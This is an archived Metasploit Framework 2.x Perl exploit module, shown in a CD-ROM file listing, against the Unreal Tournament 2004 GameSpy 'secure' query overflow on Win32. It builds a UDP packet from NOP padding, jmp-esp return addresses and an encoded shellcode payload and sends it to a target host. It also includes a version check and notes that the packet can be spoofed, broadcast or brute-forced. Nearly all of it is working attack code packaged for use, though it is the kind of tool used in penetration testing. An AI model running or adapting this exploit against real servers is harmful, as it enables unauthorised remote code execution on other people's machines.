home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / usr / lib / metasploit / exploits / ut2004_secure_win32.pm < prev    next >
Text File  |  2006-06-30  |  4KB  |  172 lines

  1. ##
  2. # This file is part of the Metasploit Framework and may be redistributed
  3. # according to the licenses defined in the Authors field below. In the
  4. # case of an unknown or missing license, this file defaults to the same
  5. # license as the core Framework (dual GPLv2 and Artistic). The latest
  6. # version of the Framework can always be obtained from metasploit.com.
  7. ##
  8.  
  9. package Msf::Exploit::ut2004_secure_win32;
  10. use base "Msf::Exploit";
  11. use strict;
  12.  
  13. my $advanced = { };
  14. my $info =
  15.   {
  16.     'Name'  => 'Unreal Tournament 2004 "secure" Overflow (Win32)',
  17.     'Version'  => '$Revision: 1.10 $',
  18.     'Authors' => [ 'Stinko', ],
  19.  
  20.     'Arch'  => [ 'x86' ],
  21.     'OS'    => [ 'win32', 'win2000', 'winxp' ],
  22.     'Priv'  => 1,
  23.  
  24.     'UserOpts'  =>
  25.       {
  26.         'RHOST' => [1, 'ADDR', 'The target address'],
  27.         'RPORT' => [1, 'PORT', 'The target port', 7787],
  28.       },
  29.     'Payload' =>
  30.       {
  31.         'Space'     => 512,
  32.         'BadChars'  => "\x5c\x00",
  33.       },
  34.  
  35.     'Description'  =>  qq{
  36.       This is an exploit for the GameSpy secure query in the Unreal Engine.
  37.  
  38.       This exploit only requires one UDP packet, which can be both spoofed
  39.       and sent to a broadcast address. Usually, the GameSpy query server listens
  40.       on port 7787, but you can manually specify the port as well.
  41.  
  42.       The RunServer.sh script will automatically restart the server upon a crash, giving
  43.       us the ability to bruteforce the service and exploit it multiple
  44.       times. 
  45. },
  46.  
  47.     'Refs'  =>
  48.       [
  49.         ['OSVDB', '7217'],
  50.         ['BID', '10570'],
  51.         ['MIL', '73'],
  52.       ],
  53.  
  54.     'Targets' =>
  55.       [
  56.         ['UT2004 Build 3186', 0x10184be3, 0x7ffdf0e4], # jmp esp
  57.       ],
  58.  
  59.     'Keys'  => ['unreal2004'],
  60.  
  61.     'DisclosureDate' => 'Jun 18 2004',
  62.   };
  63.  
  64. sub new {
  65.     my $class = shift;
  66.     my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
  67.     return($self);
  68. }
  69.  
  70. sub Exploit {
  71.     my $self = shift;
  72.     my $target_host = $self->GetVar('RHOST');
  73.     my $target_port = $self->GetVar('RPORT');
  74.     my $shellcode   = $self->GetVar('EncodedPayload')->Payload;
  75.     my $target_idx  = $self->GetVar('TARGET');
  76.     my $target      = $self->Targets->[$target_idx];
  77.  
  78.     if (! $self->InitNops(128)) {
  79.         $self->PrintLine("[*] Failed to initialize the nop module.");
  80.         return;
  81.     }
  82.  
  83.     my $request = $self->MakeNops(1024);
  84.     substr($request, 0, 60, pack("V", $target->[1]) x 15);
  85.  
  86.     substr($request, 56, 4, pack("V", $target->[2]));
  87.     substr($request, 0, length("\\secure\\"), "\\secure\\");
  88.     substr($request, length($request) - length($shellcode), length($shellcode), $shellcode);
  89.  
  90.     my $sock = Msf::Socket::Udp->new(
  91.         'PeerAddr' => $target_host,
  92.         'PeerPort' => $target_port,
  93.       );
  94.     if($sock->IsError) {
  95.         $self->PrintLine('Error creating socket: ' . $sock->GetError);
  96.         return;
  97.     }
  98.  
  99.     $self->PrintLine('[*] Sending UDP Secure Request (Dest Port: ' . $target_port . ') (' . length($request) . ' bytes)');
  100.  
  101.     if(!$sock->Send($request)) {
  102.         $sock->PrintError;
  103.         return;
  104.     }
  105.  
  106.     return;
  107. }
  108.  
  109. sub Check
  110. {
  111.     my $self = shift();
  112.     my $target_host = $self->GetVar('RHOST');
  113.     my $target_port = $self->GetVar('RPORT');
  114.     my $versionNum  = $self->GetVersion($target_host, $target_port);
  115.  
  116.     if(! $versionNum) {
  117.         $self->PrintLine("[*] Couldn't detect Unreal Tournament Server at ". $target_host . ':' . $target_port);
  118.         return $self->CheckCode('Generic');
  119.     }
  120.     else {
  121.         $self->PrintLine('[*] Detected Unreal Tournament Server Version: ' . $versionNum . ' at ' . $target_host . ':' . $target_port);
  122.         if ($versionNum =~ /^(3120|3186|3204)$/) {
  123.             $self->PrintLine("[*] The server is more than likely exploitable");
  124.             return $self->CheckCode('Appears');
  125.         }
  126.         elsif ($versionNum =~ /^(2...)$/) {
  127.             $self->PrintLine("[*] The server appears to be running UT2003");
  128.             return $self->CheckCode('Safe');
  129.         }
  130.  
  131.         $self->PrintLine("[*] The server is more than likely patched");
  132.         return $self->CheckCode('Safe');
  133.     }
  134. }
  135.  
  136. sub GetVersion
  137. {
  138.     my $self = shift();
  139.     my $target_host = shift();
  140.     my $target_port = shift();
  141.  
  142.     my $s = Msf::Socket::Udp->new
  143.       (
  144.         PeerAddr => $target_host,
  145.         PeerPort => $target_port,
  146.       );
  147.  
  148.     if($s->IsError()) {
  149.         $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
  150.         return;
  151.     }
  152.  
  153.     $self->PrintLine('[*] Sending UDP Version Request to ' . $target_host . ':' . $target_port);
  154.  
  155.     my $versionRequest = "\\basic\\";
  156.     if(!$s->Send($versionRequest)) {
  157.         $s->PrintError;
  158.         return;
  159.     }
  160.  
  161.     my $versionReply = $s->Recv(-1, 10);
  162.     my $versionNum;
  163.  
  164.     if ($versionReply =~ m/\\gamever\\([0-9]{1,5})/) {
  165.         $versionNum = $1;
  166.     }
  167.  
  168.     return $versionNum;
  169. }
  170.  
  171. 1;
  172.